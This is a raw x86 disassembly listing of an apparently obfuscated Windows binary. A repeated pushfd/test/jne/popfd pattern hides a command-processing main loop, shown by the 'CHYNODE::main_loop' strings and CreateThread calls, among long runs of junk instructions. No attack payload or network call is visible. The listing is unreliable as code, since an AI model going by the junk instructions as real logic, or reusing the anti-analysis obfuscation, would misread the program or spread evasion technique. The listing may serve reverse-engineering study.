test byte [0x1009a03f], 0xb9
je 0x1009a040
sti
call [esi + esi*8 + 0x9a03f05]
adc byte [ecx - 0x6b6a808c], bh
xchg ebp, eax
xchg esp, eax
cmp eax, 0xecfac4d0
test eax, 0x65269846
add eax, 0xe1f91b77
lahf
outsd dx, dword [esi]
sbb edx, edi
test byte [ebp + 0x13], al
imul ecx, ebx, 0xe1af0fb8
imul esp, ecx
pop ss
xchg ecx, eax
push ebx
ja 0x1009a064
inc edi
xchg esp, eax
mov edx, 0xa06deb7f
fst dword [edi]
int1
and al, 0x8a
xor dword [edx - 0x36], 0x53
dec esp
xchg dword [esi], edx
or al, 0x6b
aam 0x2a
mov edi, 0x41859af3
sbb al, 0xaa
das
jnp 0x1009a00d
jecxz 0x10099f8f
sbb byte [edi + 0x3e693a94], cl
salc
mov esi, 0xc8740cb8
imul edi, dword [esi], 0xcb8bed6
je 0x10099fdd
mov dl, 0xd
push ds
inc esp
leave
or dl, ah
mov dword [esi + 0x112db95b], esp
xchg edx, eax
mov edx, 0xc7249a8c
jno 0x1009a0a5
sub al, 0x92
pop esp
jae 0x10099fb5
pop edi
cld
and ch, dh
mov dh, 0xe1
mov edi, 0xf3b5f9c2
mov edx, 0x7cded62d
inc eax
popfd
cmp eax, 1
je 0x1009a0a2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.1006117b
push dword [ebp - 0x24]
call fcn.1011bd3a
loopne 0x1009a074
or byte [eax], al
pop ecx
pushfd
test byte [0x1009a09b], 0xf2
jne 0x1009a09c
aaa
mov al, 0xf2
fbld tbyte [ebx]
xor eax, 0x8c0ae2b0
push cs
int 0x24
inc esi
cdq
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
dec eax
jno 0x1009a08d
mov bh, byte [esp + esi*4 + 0xafb90e9]
dec ecx
test al, 0x6d
sbb byte [ebp - 0x14], al
jno 0x1009a031
les edi, [0x91620ebf]
inc esp
xchg esi, eax
xor bh, 0x44
cmp al, 0x98
inc esi
pop ss
mov cl, byte [edi + 0x1ce39f25]
popfd
jmp 0x10098262
push str.HyNode_CmdProc_Exit
adc al, 0x10
push edi
pushfd
test byte [0x1009a0ec], 0xd5
jne 0x1009a0ed
in eax, dx
jge 0x1009a056
in al, 0xa1
cmp byte [ebp - 0x5a], ch
pop eax
insd dword es:[edi], dx
aam 0xde
popal
mov dword [0x3c0fa3e6], eax
test eax, 0x4b675b25
sbb eax, 0x8ee2a318
xchg edi, eax
int3
popfd
push edi
call fcn.10049c0c
add esp, 0xc
lea ecx, [ebp - 0x24]
call fcn.1006117b
push dword [ebp - 0x24]
pushfd
test byte [0x1009a1b1], 0x64
jne 0x1009a1b2
mov esp, 0x4a1675fd
jbe 0x1009a18a
mov edi, 0xb2b5b07a
std
aas
mov al, byte [0xa4467f9]
sbb dword [esi - 0x57], esi
mov cl, 0x81
test byte [ebx - 0x32b5faee], bh
xor dword [eax + 0x4af4f8f6], ecx
cmp eax, 0x74f3b46f
scasb al, byte es:[edi]
aam 0x59
pop edi
adc byte [esi], dh
cmp cl, byte [esi - 0x4a0b2e71]
and dword [ecx + edi*4], ecx
or dword [edx - 0x2ebfbd21], eax
imul edx, eax, 0xde28150b
and al, 0x4f
aas
push esp
xchg ecx, eax
fcmovu st(0), st(3)
pop edx
xchg dword [edi + ebp*8], esp
xlatb
jnp 0x1009a15e
sar byte [edx - 0x129fbc7b], 0x4d
pop edi
jge 0x1009a1e9
sar byte [ecx - 0x35700cb7], cl
fnsave dword [ecx]
and edx, dword [esi + 0x754b733d]
mov ecx, 0x4497855
pop es
or byte [ecx - 0x4dc408ba], bl
sbb eax, 0xcd1146f2
enter 0xffffffffffffa6ad, 0x2e
sbb al, 0x3f
out dx, al
imul edi, esp, 1
xlatb
out dx, eax
int 0xfc
xchg ebp, eax
sub dword [ecx - 0x3cb2b9dd], eax
stosd dword es:[edi], eax
and edx, ebx
lodsd eax, dword [esi]
fsub qword [eax + 0x72d47788]
push eax
sub ch, dl
popfd
call fcn.1011bd3a
or byte [eax], al
mov eax, dword [ebp - 0x10]
pop ecx
call fcn.1011e571
ret 4
stc
js 0x1009a184
jle 0x1009a230
shr dh, 1
xchg eax, ebp
xchg edi, eax
push cs
inc edi
lodsd eax, dword [esi]
sti
clc
push esp
or edx, dword [ebp + 0x77]
or al, 0x2f
inc ecx
aas
not dword [edi]
adc eax, 0xd79208d7
sti
pop ecx
and ecx, esi
xchg ebx, eax
cld
add ebx, dword [ebx - 0x6d]
mov bh, 0x9b
push cs
popfd
push ebp
mov ebp, esp
pushfd
test byte [0x1009a225], 0xdd
je 0x1009a326
add bh, byte [esi + 0x265cfca]
cwde
mov ch, 0xe9
neg byte [ebx - 0x1436125b]
cmp eax, 0xf9fea00a
in al, dx
fxam
scasb al, byte es:[edi]
push dword [ebp - 0xa]
lds esi, [ecx]
xor dword [0x86403199], 0xcc8f33e6
mov ebx, 0xb708977f
inc edi
fmul qword [ecx - 0x3e89e5a5]
push cs
ffree st(1)
daa
lea edx, [ebx]
xchg byte [ebp - 0x74], bl
or dword [edx], edx
sbb eax, 0x4aa98ff6
enter 0xffffffffffff856f, 0xffffffffffffffd1
out 0x34, eax
mov ch, 0xeb
and byte [ecx + ebx*2 + 0x34], cl
aaa
push ebx
mov edi, 0x3184fea9
xchg byte [edx - 0x3ed3e137], cl
dec esp
clc
call 0x5bf69b7a
cmpsd dword [esi], dword es:[edi]
call 0x55083e62
inc esi
dec ebx
and al, 0x13
fld xword [eax + 0x40]
jo 0x1009a2aa
movsd dword es:[edi], dword [esi]
in eax, dx
leave
jmp 0x1009a1b6
leave
nop
mov eax, 0x374e9601
xchg edx, eax
jno 0x1009a30c
mov ch, 0xb1
bound esp, qword [ecx + 0x7f]
mov dword [esi + 0x26fe7f99], ebx
out dx, eax
cdq
jg 0x1009a2ab
out dx, eax
loopne 0x1009a2de
and eax, 0x729c5c47
sbb byte [ebx - 0x6f], ah
or esi, esp
out dx, eax
sub eax, 0xec2a7f17
popfd
push ds
dec edi
call dword [edi - 0x2926538c]
cmp byte [ecx + edx*2 + 0x7220f44f], ah
or dl, byte [ebx + ebx*4]
push ecx
dec edi
hlt
jb 0x1009a2dd
adc al, 0x9b
xchg ebx, eax
xchg edx, eax
inc esi
lahf
xchg ecx, eax
mov ch, byte [esi - 0x759cd836]
dec eax
dec ebx
pop ss
pop ebp
daa
arpl word [edx + 0x5d174b48], cx
cmc
xor al, 0xf6
xchg ebp, eax
dec ecx
pop ds
mov dh, 0xa9
xchg esp, esp
pop esp
jbe 0x1009a2d1
aas
outsd dx, dword [esi]
mov byte [ebx*8 + 0x611a31b9], bh
scasb al, byte es:[edi]
int 0x62
xchg esp, eax
adc al, 0x7c
int3
jl 0x1009a2cd
mov eax, dword [0x7f6d792c]
aas
adc eax, 0xcb6a0e77
jo 0x1009a2e9
jne 0x1009a381
in eax, dx
mov esp, 0x58baf6f8
cmp byte [ecx + esi - 0x58e257a2], bh
dec ebp
push 0xffffffffffffff95
mov dh, 0x51
jge 0x1009a2ff
popfd
sub esp, 0x74
mov eax, dword [0x10170c30]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push str.Entering_CHYNODE::main_loop......
xor ebx, ebx
push ebx
push 3
pushfd
test byte [0x1009a440], 0x25
jne 0x1009a441
test ebx, esi
add byte [eax], al
add dl, bh
cli
pop esi
jg 0x1009a368
pop es
fdiv dword [ecx - 0x71d0d774]
call 0x57e79c7f
add bh, byte [edx - 0x18]
mov word [eax], gs
das
mov gs, eax
and ecx, edi
fld qword [edi + 2]
jp 0x1009a349
sub byte [ebp - 0x76a817e3], al
jbe 0x1009a34d
in al, 0xd1
in eax, 0
pop eax
je 0x1009a3ce
shl ebp, 1
add byte [eax + 0x74], bl
pop edi
inc edx
cdq
std
cdq
pop edi
int3
stc
ja 0x1009a380
xchg ebp, eax
jns 0x1009a3c7
inc ebp
mov ch, 7
in eax, 0x29
scasb al, byte es:[edi]
dec ebx
imul esp, dword [edx - 0x53], 0xa
arpl word [eax + 0x438a6825], dx
arpl bx, sp
push ecx
and eax, 0x63438a68
jecxz 0x1009a3e7
sub eax, 0x91aa39d3
and eax, 0x8a225090
cmp ch, cl
cmp ebp, dword [ecx]
adc dword [esi + ecx*4 - 0x22], esp
ja 0x1009a3d6
xchg eax, edi
pop eax
jne 0x1009a349
jae 0x1009a38f
jns 0x1009a355
call 0x31b26da
cmp bl, dh
cmp bl, dh
fsub dword [bx + si - 0x3286]
add eax, 0x83ba59d9
fxtract
push ds
adc ecx, esi
or al, 0xa8
mov edi, 0xe366b122
push ds
mov cl, 0x66
jecxz 0x1009a3f0
add ebx, dword [ebx + 0x4f]
mov cl, 0xfe
push eax
xor ah, bh
movsd dword es:[edi], dword [esi]
sub dl, byte [edi - 0x3aa51cdc]
inc ebp
push ss
mov eax, 0x6469e9ed
jle 0x1009a3b8
invalid
jle 0x1009a3b8
pop eax
add edx, dword [ebx + 0x3a]
and eax, 0xcaa28a7b
jnp 0x1009a37c
mov byte [0x71801dca], al
invalid
sbb eax, 0xd5c57180
jb 0x1009a3ca
in eax, 0xa
jbe 0x1009a407
arpl word [ebp - 0x28810871], di
mov cl, cl
in eax, 0x27
js 0x1009a43f
mov al, dl
mul byte [edi - 0x4d]
int 0x85
mov esi, 0xeeb545df
in al, dx
xchg ebp, eax
jnp 0x1009a469
int1
adc cl, byte [edx - 0x33]
fist dword [ebx + 0x4c]
jo 0x1009a497
mov ecx, 0xaab13c8f
popfd
dec ecx
fmul dword [esi]
fstp qword [eax - 0x30]
sbb al, byte gs:[ecx]
push 0x31
push ss
mov al, byte [0x6ba7637]
aaa
jbe 0x1009a3f4
push es
fld dword [eax - 0x24]
xchg esp, eax
mov edi, ss
popfd
mov esi, ecx
call fcn.10049c0c
add esp, 0xc
mov ecx, esi
ret
les ecx, [ebx + ecx*4]
into
pushfd
test byte [0x1009a4d3], 0xfa
jne 0x1009a4d4
jne 0x1009a4c3
jecxz 0x1009a48d
add ecx, edi
sub esi, dword [eax + 0x71]
push edi
push ecx
pop ecx
out dx, al
fcomp st(5)
sbb dh, byte [ecx - 0x20]
jno 0x1009a44a
loopne 0x1009a4c9
pop esi
jno 0x1009a43b
xchg ebx, eax
jl 0x1009a47c
int1
bound ebx, qword [edi]
scasd eax, dword es:[edi]
loopne 0x1009a437
imul edi, dword [edi], 0x1c
sbb eax, 0xe9cfe308
xor al, 0xe2
mov esp, 0x34608c16
pop edi
or ch, byte [ecx - 0x43]
sub dl, byte [ebp - 0x1f]
add bl, byte [edx]
popfd
jle 0x1009a4ea
iretd
sbb bl, byte [ebp - 0x78e0a682]
pop ds
pop ds
xchg dword [edi], ebx
aas
outsd dx, dword [esi]
ja 0x1009a445
lodsd eax, dword [esi]
shl byte [0xd89671a1], 1
jle 0x1009a468
and dword [esi - 0x78], ebx
mov ecx, 0x218f2954
fisubr dword [ebx + 0x49]
xchg ebx, eax
fcom dword [ebx + 0x19]
enter 0xffffffffffffe744, 0x74
pop ecx
add edx, ebp
sbb eax, 0x9219d9a4
xchg ebx, eax
mov al, byte [0x62d5d67f]
pop ebx
push edx
frstor dword [0x244c582b]
into
dec esp
and al, 0xce
inc edx
jo 0x1009a528
mov eax, 0xb1584889
popfd
call fcn.10054150
mov dword [ebp - 0x6c], eax
pushfd
test byte [0x1009a4ec], 0xb2
jne 0x1009a5ed
add byte [ebx + 0x43], ah
sal dword [eax], cl
or ebp, dword [edi]
arpl word [ebx - 0x2d], ax
xor byte [ebx], cl
das
pop ds
dec ebx
sbb byte [edi], bh
cli
inc edx
aam 0x48
in al, dx
popal
mov al, 0xdc
int3
xchg byte [edi + 0x45], ah
add dword [edx + edi*8 - 0x55], ecx
mov ch, 0x36
pop es
xchg edx, eax
lds ebx, [ecx]
dec edx
lea ebx, [esi - 0x5d]
sahf
imul bl
push ds
and dword [eax + 0x5e], edx
das
mov esp, 0xb5045ceb
and dword [ecx], 0xa6aaa2b5
sub bl, byte [ecx - 0x6c]
mov byte [0x592aa6aa], al
xchg esp, eax
sbb edi, dword [ebp - 0x57293d1f]
mov cl, 0xea
cmp cl, bh
mov dword [0xdea48abb], eax
inc ecx
dec esi
or byte [edx], dl
loopne 0x1009a52f
fsub qword [eax + ecx*4 + 0x4a]
js 0x1009a549
and al, 0xfe
mov ah, 0x39
and byte [edx], bh
adc dword [0x3b79dd6e], edx
imul ecx, dword [edx + 0x1e269358], 0xbce1e7fb
xchg dword [eax], ebx
in eax, 0x99
xchg ecx, eax
aaa
lodsb al, byte [esi]
sbb eax, 0x8018c7eb
lodsb al, byte [esi]
test edi, esi
fiadd word [edx - 0x10]
sub ebp, dword [ebp - 0x15]
inc edi
pop ecx
fimul word [eax + 0x61]
popfd
jb 0x1009a58c
test eax, 0x3d081dc9
sar dword [ebx - 0x65], 1
shl dword [ebx - 0x48814f66], 1
fstp dword [ecx + esi*2 + 0x29ef500]
push ebp
mov al, 0x7e
mov bh, 0xd9
pushfd
jno 0x1009a5af
cmc
sahf
add ah, byte [edi + 0x55]
mov bh, 0xfd
adc al, 0x97
pop eax
sub edi, edx
or al, ah
cdq
cmp ah, byte [edx]
push ss
inc edi
insb byte es:[edi], dx
mov dh, ch
xor ah, byte [edi]
adc al, 0x54
mov esi, 0x21a521e7
test dword [esi - 0x25], 0x3cb7fdae
loopne 0x1009a61d
and dx, word [esi - 0x1e]
push ss
inc esp
je 0x1009a5a8
xchg dword [esi - 0x4950d2ab], ecx
mov dword [0xe43bdf28], ecx
popfd
cmp eax, ebx
jne 0x1009b736
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push esi
push 0x10097eef
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x10094639
pushfd
test byte [0x1009a64f], 0x32
jne 0x1009a650
lahf
push esi
pop esp
and byte [edi], bh
cli
adc edx, dword [ecx + 0x75]
sbb dl, cl
ror edx, cl
sub al, byte [edi]
in al, dx
in al, 0x91
mov ebx, 0x926b512f
mov dword [ebx + ebp*2 + 0xf2555c6], esp
mov ebx, 0x1c3aee76
rcl byte [edx + 7], 0x12
jl 0x1009a670
fstp qword [ebx]
xor cl, byte [edx]
xor dword [esi + 0x77d1d2c1], ebx
popfd
push ebx
push ebx
pushfd
test byte [0x1009a66b], 0x9c
je 0x1009a76c
xchg dword [ecx - 0x338eecda], esp
mov edx, 0x21d62adf
fnstenv [ebx - 0x60f75fd4]
add esp, ebp
jb 0x1009a607
or byte [edi - 0x6e8d1afd], bl
lahf
jecxz 0x1009a611
std
xlatb
xor esi, dword [ebx + 0x35]
and al, 0x25
inc edx
scasb al, byte es:[edi]
std
sub eax, 0xef8973f7
aas
mov al, 7
cmpsb byte gs:[esi], byte es:[edi]
sub eax, 0xa1d4bb70
ror dword [edx], 0x53
xchg ebx, edi
xor dword [ebp + 0x1148a35b], 0xd2a8db33
and esp, eax
mov eax, dword [0x53e3ad34]
xchg edx, eax
int3
mov eax, 0x354030a4
js 0x1009a7aa
xor dh, byte cs:[edx]
pop edi
pop ecx
push edx
fisttp word [ecx - 0x23]
xchg ebp, ebp
std
push ebp
int 0x11
popfd
call edi
push 5
mov dword [esi + 0x750], 1
call fcn.1004b955
pop ecx
cmp dword [esi + 4], ebx
jne 0x1009ab95
cmp dword [esi + 0x6ff], ebx
jne 0x1009ab95
push 0x5d
lea eax, [ebp - 0x64]
push ebx
push eax
call fcn.1011df60
add esp, 0xc
lea eax, [ebp - 0x64]
push eax
mov ecx, esi
into
mov dword [ebp - 0x64], ebx
call fcn.1008ebd1
pushfd
test byte [0x1009a849], 0x15
je 0x1009a84a
cli
inc edx
into
into
or eax, 0x694ebc7a
sbb dword [0xe8857717], edi
cdq
push edx
js 0x1009a756
mov dh, byte [ecx]
mov ah, byte [edx - 0x6b]
sub dword [ebp - 0x2608a175], ebp
test eax, 0x9b4be062
int3
popfd
test eax, eax
jne 0x1009b276
push 0x10
lea eax, [esi + 0x6ef]
push eax
pushfd
test byte [0x1009a8a0], 0xee
jne 0x1009a9a1
push esi
and byte [ecx - 0x2654089e], al
adc byte [esi], 0x2b
insd dword es:[edi], dx
jb 0x1009a898
imul ebx, dword [eax], 0xffffffb6
sub byte [edi - 0x298e8943], cl
add ebx, edx
adc al, byte [edx - 0x1c89b8e]
imul esp, dword [eax], 0xffffffed
sbb eax, 0x84a01e5d
shl esp, 0x89
xrelease xchg byte [esi - 0x5bcd8658], dh
xor ah, byte [ebx + 0x50339191]
lodsd eax, dword ds:[esi]
movsb byte es:[edi], byte [esi]
and edx, dword [ecx + 0x3e503391]
lodsd eax, dword [esi]
dec eax
xchg esp, eax
aam 0xff
or eax, 0x5bbeecd9
jne 0x1009a899
add byte [ecx + 0xc], dh
inc eax
outsd dx, dword [esi]
xchg ecx, eax
push eax
xlatb
mov edi, 0xf48d205e
out dx, al
sti
sbb byte [ebx + esi*8], bh
xor byte [edi - 0x3c], bh
imul byte [ebp + 0x33453f5b]
lds eax, [edi - 0x715e567d]
mov cl, 0x4c
xchg dword [ebx - 0x4e715e57], eax
dec esp
xchg ecx, eax
jno 0x1009a8c8
cmp eax, 0x3576070
cmp byte [edx], bh
xor eax, 0x7f3897f2
je 0x1009a8fb
sti
out dx, eax
shr dword gs:[0xc54bb346], 0xfe
test al, 0xb8
imul byte [eax - 0x2f9b0020]
xchg edi, eax
clc
clc
cmp al, 0x2b
xor dl, byte [si]
adc al, 0x28
sub ebx, eax
mov cl, 0xfc
sbb byte [ebp - 0x30], bl
sub byte [ebx], ch
fdiv dword [ecx - 0x2fa2e704]
ror byte [edi], 1
xlatb
mov ah, 0x51
inc edx
jbe 0x1009a976
sal dword [edx + 0x31c7d088], 0x65
mov dh, 8
sub dword [ebx + 0x60e0c8d], ecx
xchg edx, eax
movsb byte es:[edi], byte [esi]
clc
bound eax, qword [ebx - 0x26]
aad 0xbe
adc eax, 0x2fab7143
call 0xe90e1119
push edx
les esi, [eax]
xchg edi, eax
inc edi
or esp, dword [edx + 0x6a]
test dword [eax], esi
mov cl, byte [eax + 0x20]
je 0x1009a9b8
cmp eax, 0x3006e91f
pop esp
jl 0x1009a8f4
xor dword [ecx - 0x629fab92], edx
js 0x1009a92c
inc edx
sbb ah, byte [edi - 0x398a0efe]
scasb al, byte es:[edi]
sbb ebp, dword [edi - 0x71984627]
call 0xf43e57b
push ds
add byte [eax + edi*2], al
pop esi
test al, 0x71
inc ebx
mov dl, 0x4e
sbb dword [eax + edi*8 - 0x3c], 0x2e
fdiv dword [edi]
and eax, 0x52e4bf56
int 0x41
adc al, 0xf3
adc eax, ebp
outsd dx, dword [esi]
mov dword [0xea995b78], eax
and byte [edx + 0x60c21814], bl
sbb al, 0xb0
jo 0x1009a97d
pop ebx
cdq
ljmp 0x60c2
adc ebx, dword [edx - 0x19]
enter 0x3662, 0xffffffffffffffb5
fiadd word [ecx - 0x63]
pop edx
out 0xc8, eax
bound esi, qword [esi]
mov ch, 0xde
inc ecx
popfd
sub al, 0xf6
bound ebx, qword [eax + 0x7f50ef73]
sal byte [ebp - 0x6b], 1
inc esp
pop ecx
popfd
lea eax, [ebp - 0x60]
pushfd
test byte [0x1009aaa8], 0xe6
jne 0x1009aaa9
cwde
cmp ecx, eax
pop eax
mov eax, dword [0x4fcc3c61]
popal
cmp al, 0xcc
dec edi
or ebx, ebp
fnsave dword [ebx - 0x204fca0]
popfd
push esp
cmc
and al, 0x78
pop edi
dec edi
adc eax, 0x780a8f28
jb 0x1009aa41
pushfd
jbe 0x1009a98b
in al, 0xca
test byte [edi - 0x7c], al
xor ah, byte [edi - 0x28182569]
and edx, esp
mov al, 0x46
sahf
das
xor dh, dl
rol cl, 0x3d
mov bl, 0xe7
add al, 0x6d
add al, 0x84
push ss
imul ebp, esi, 0xd8f53048
inc ebp
push edx
in eax, dx
in al, 0xae
sub dword [edx + edi*2 + 0x42], esi
dec edi
sbb ch, ch
dec ebx
dec edx
mov esi, 0xc8c2b845
cmpsd dword [esi], dword es:[edi]
mov ecx, 0x8ee24d6f
mov edi, 0xee6b3b97
out 0x3a, al
cmp byte [ebp + 0xcd3286f], dl
push cs
mov ecx, 0xbc5ef310
imul esp, dword [si - 0x6b], 0xffffffea
push esp
inc esi
pop ss
test eax, 0x306923e1
pop ebx
scasb al, byte es:[edi]
push eax
mov dl, 0x9f
cmc
and al, 0xa9
or ch, byte [esi + 0x78e9ad]
js 0x1009aa43
inc esp
and al, 0x32
add al, 0xc5
sbb ah, byte [ecx + 0x4c002a15]
mov al, byte [0xe3a8a160]
test al, 0x72
enter 0x34b1, 0xffffffffffffffd2
stosb byte es:[edi], al
pop ebx
mov dh, 0xf9
not byte [eax + 0x2e]
int1
inc edx
and eax, dword [eax + ecx*2 - 0x38]
or eax, 0xf25d96b9
movsd dword es:[edi], dword [esi]
push ds
jle 0x1009aadb
xor eax, 0x873680e0
cmp byte [ebx + ebx - 9], al
push eax
test dword [edi + 0x1f67db93], ecx
mov cl, 0xb2
pop ebx
popal
fisubr dword [eax - 0x14b48be6]
mov ecx, 0x17ba8e3f
stc
out 0xb5, eax
sbb bl, 0x54
push esp
xchg esi, eax
mov al, 0x3d
inc edx
xor eax, 0x7c01b574
sub dx, word [ebx + edx + 0x3b1416d6]
pop eax
nop
popfd
push eax
call fcn.1011c1e1
add esp, 0xc
test eax, eax
je 0x1009aaca
lea eax, [ebp - 0x64]
push eax
mov ecx, esi
call fcn.10090088
mov dword [ebp - 0x6c], eax
jmp 0x1009b276
push str.CHYNODE::main_loop:
push ebx
push 3
call fcn.10049c0c
add esp, 0xc
pushfd
test byte [0x1009aaee], 0x84
jne 0x1009aaef
push eax
stosd dword es:[edi], eax
and ebx, edx
std
aas
jge 0x1009aa94
xlatb
push 0xffffffffffffffb0
popfd
mov dword [esi + 0x6ff], 1
jmp 0x1009b276
cmp byte [esi + 0x1c], 5
pushfd
test byte [0x1009ac75], 0x17
jne 0x1009ac76
pop ecx
rcl dword [edx - 0x18], 0xc9
fstp dword [0xf37ab267]
popal
movsd dword es:[edi], dword [esi]
mov ecx, ecx
adc ecx, edx
xchg ebp, eax
push esp
adc byte [esi + 0x3cc58c1a], 0x89
out dx, al
jbe 0x1009ac3c
xchg edx, eax
loop 0x1009abe2
sub esp, dword [ebx + ebx*2 - 0x24ca90e4]
sahf
mov dword [ebp - 0x5f], esi
les ecx, [ecx + 0x66eac388]
mov esp, 0x43ec89e4
fisubr word [edx + 0x74]
stosb byte es:[edi], al
push ds
xchg esp, eax
and ebx, dword [edi + 0x78]
mul ebx
xchg ecx, eax
pop ss
or eax, 0xfd7f925a
push edx
test al, 0xcc
mov bl, 0xe6
mov al, byte [0xebfcabb2]
aaa
arpl word [ecx - 0x405ceb9d], dx
cmp eax, ebx
sti
add bh, byte [eax + 0x5b]
mov edi, 0x2fbc33b
js 0x1009ac62
std
dec edi
jnp 0x1009ac00
mov eax, ecx
stosb byte es:[edi], al
xor dword [edi - 0x124fd9d], esp
mov al, 0x6e
and al, 0x82
pop ds
pop ecx
shr bh, 1
pop es
push ebx
and dword [edx - 0x7ee8677a], esp
mov dh, ch
push edx
push edx
stosb byte es:[edi], al
dec byte [esi]
enter 0xfffffffffffff015, 0x1a
cmp dl, dl
cmp dh, dl
invalid
add al, 0x1a
out 0x5a, al
lea eax, [esi - 0x49]
or edi, esi
sbb al, 0x40
inc esi
xchg ebx, eax
pop ebp
dec cx
sub esp, edx
sahf
and byte [edx - 0x19], dh
inc ebp
dec edx
mov eax, 0x13db16cc
adc dword [edi + 0x65c21747], ebx
or ecx, ebp
out dx, al
jae 0x1009ac9c
jmp 0xef402055
fist word [0x8b4c0c1d]
adc eax, 0xa6dd047
sub eax, 0x57aa8038
popfd
jb 0x1009b276
mov dword [esi + 0x6ff], ebx
pushfd
test byte [0x1009acee], 0xdb
jne 0x1009acef
mov edx, 0x6e908ec3
push edx
cld
leave
inc esi
or dh, bl
cmp esi, dword [eax]
outsd dx, dword [esi]
xor eax, 0xe52d1cc6
clc
xchg dword [edi], edi
sub al, 0xa8
inc esp
aad 0xd5
mov ebp, 0xe03468eb
mov bl, 0xa4
imul ebx, dword [edx - 0x330ceab2], 0x18
int3
invalid
popfd
mov dword [ebp - 0x68], ebx
pushfd
test byte [0x1009ad83], 0xd1
jne 0x1009ad84
dec eax
sti
push edi
imul ecx, dword [edx + 0x1c], 0xa38d6ef2
aam 0xed
rcl dword [ebx + 0x15]
fstp st(7)
in eax, dx
movsd dword es:[edi], dword [esi]
sbb al, 0xf2
outsb dx, byte [esi]
lea esp, [ebx + 0x53d1edd4]
adc eax, 0xa5eddfdd
cld
in eax, dx
sub ecx, ebx
cli
fsubr st(5), st(0)
lodsd eax, dword [esi]
test dword [edi + 0x3d], eax
push 0x33239242
add byte [esi], dh
add byte [edx], 0x8b
fstp qword [esi]
dec ecx
dec ebp
jns 0x1009ad44
pushfd
mov dword [0x29bf412a], eax
xor al, 0x12
mov eax, dword [0xefa96d2c]
dec dword [ecx - 0x76]
test eax, 0x8a49ffef
rcl dword [0x7b09c40e], 0x33
jnp 0x1009ad79
dec ecx
popal
mov ebx, 0x85c69c6
in eax, 0x64
js 0x1009ad06
inc ebx
cmp cl, dl
loopne 0x1009ad3a
cmp al, 0x24
mov cl, 0x18
nop
rol bh, 1
ffree st(3)
inc edi
stosd dword es:[edi], eax
aas
insd dword es:[edi], dx
dec esi
pop ss
add al, 0x5e
pop esi
mov al, 0x23
inc ebx
xchg bh, cl
div dword [ebx + 0x52]
cmp ebx, dword [eax - 3]
adc dword cs:[ebx], ebp
push edi
sar byte [edx - 0x46], 1
xchg dl, cl
insd dword es:[edi], dx
and eax, 0x590680bf
popfd
lea edi, [esi + 0x79]
pushfd
test byte [0x1009addc], 0xef
jne 0x1009addd
xor ebx, dword [eax + 0x29]
push esp
dec ebx
in al, 0x11
jae 0x1009ad30
jo 0x1009ad69
or ecx, 0x259f8f55
stosb byte es:[edi], al
das
jg 0x1009ae13
or dword [ebp + 0x5dd5283b], esi
adc eax, 0x222c746c
aad 9
and al, 0x1e
insb byte es:[edi], dx
je 0x1009addd
and dl, ch
or dword [esi + ebx], esp
mov al, 0x7f
cwde
push ecx
xchg ebp, eax
cmp al, 0xd4
je 0x1009ae2d
pop ecx
les ebp, [ebp - 0x5b]
aas
xchg byte [esi], bl
daa
lodsd eax, dword [esi]
sar byte [edx + 0x7af2a50d], 0x3d
mov dh, 0x8e
lodsd eax, dword [esi]
out dx, eax
push esp
mov eax, dword [0x761ab9a9]
popfd
fnstcw word [esi - 0xf]
popfd
cmp dword [edi - 0x18], ebx
je 0x1009b0f5
pushfd
test byte [0x1009ae27], 0x2e
jne 0x1009af28
mov esi, 0xd082a605
sub byte [0xae5cefa9], ch
out 0xd5, al
cmp bl, 0x9d
mov ah, 0xa9
jbe 0x1009ae60
push edx
stc
jo 0x1009adc8
fiadd word [eax]
push esi
sahf
adc dword [eax], edx
adc byte [eax - 0x1d1976da], cl
pop ecx
mov byte [esi], ah
mov esi, esp
loop 0x1009ae73
movsb byte es:[edi], byte [esi]
fild word [ecx - 0x57c41fbb]
ja 0x1009adae
in eax, 0xa0
fldenv [edx + 0x5e]
int3
or esi, dword [ebx + 0x49]
or al, 0x7f
or dword [ebx + 0x44], edi
and eax, 0x1c392714
push ds
fldcw word [eax + 0x4054a1a7]
adc al, 0xb6
je 0x1009ae14
iretd
mov eax, dword [0xed4e7a5c]
xor dword [eax - 0x3e], 0x6e
enter 0x328, 0x68
xchg edx, eax
movsd dword es:[edi], dword [esi]
test dword [ebp - 0x78], ecx
cli
loop 0x1009ade7
aas
jb 0x1009ae44
mov ah, 0x49
mov bh, 0xd7
xlatb
mov dword [eax - 0x2382b5a5], eax
sub eax, 0x3dfa3fbe
pushal
pop ebp
cmpsd dword [esi], dword es:[edi]
aaa
push edi
jbe 0x1009aecc
pop eax
or eax, 0x63de9d2a
rol byte [edi - 0x7b], cl
sal dword [edi + 0x216f71cd], 1
jb 0x1009aef4
daa
ficom word [edi]
dec edx
int3
sub al, 0x4f
or cl, byte [ebx + 0x1b]
pop ds
pop edi
outsb dx, byte [esi]
xchg byte [ebx - 0x7d60dbe3], al
loopne 0x1009af24
pop ss
mul byte [esi - 0x69]
enter 0x5665, 0x35
mov cl, 0x49
inc ebp
out 0x40, eax
in eax, 6
test al, 0x8b
insd dword es:[edi], dx
push ebx
lodsb al, byte [esi]
adc ebx, esp
inc ebp
lds ecx, [ebx - 0x51e35a15]
mov ebp, ebx
movsd dword es:[edi], dword [esi]
sbb al, 0xae
mov al, byte [0x8db6c8cf]
dec esi
fcom dword [eax - 0x28]
xchg esp, eax
mov dword [0xcad08ae1], eax
sar dword [eax], cl
cmp dword [ecx], eax
aam 0xe2
sbb al, 0x5c
mov al, byte [0xb8d15abd]
cmc
cmp dl, bl
leave
mov ah, 0xf9
add al, 4
xor dword [ecx + 0x11], esi
cmp cl, byte [edx + 0x1a0b3683]
or ebx, dword [edx]
jnp 0x1009af6d
popfd
cmp byte [edi], 5
jae 0x1009b0f5
pushfd
test byte [0x1009b02b], 0x80
jne 0x1009b02c
fimul word [edi - 0x252cd08f]
test al, 0x91
cdq
mov byte [ebp - 0x45bb4d0f], bl
insd dword es:[edi], dx
mov dword [0x5cde87f3], eax
push ecx
or cl, ah
aaa
int 0xf
cmpsd dword [esi], dword es:[edi]
in al, 0xbe
sbb edx, edx
cld
insb byte es:[edi], dx
fimul dword [esi - 0x52]
int1
dec ebp
mov bl, 0xea
sbb cl, byte [ebp - 0x6f]
xchg ecx, eax
dec ebp
push ecx
sub al, 0x4c
push es
cmpsb byte [esi], byte es:[edi]
push eax
push edi
jge 0x1009af99
xor byte [edx - 0x48cc1126], bl
pop edi
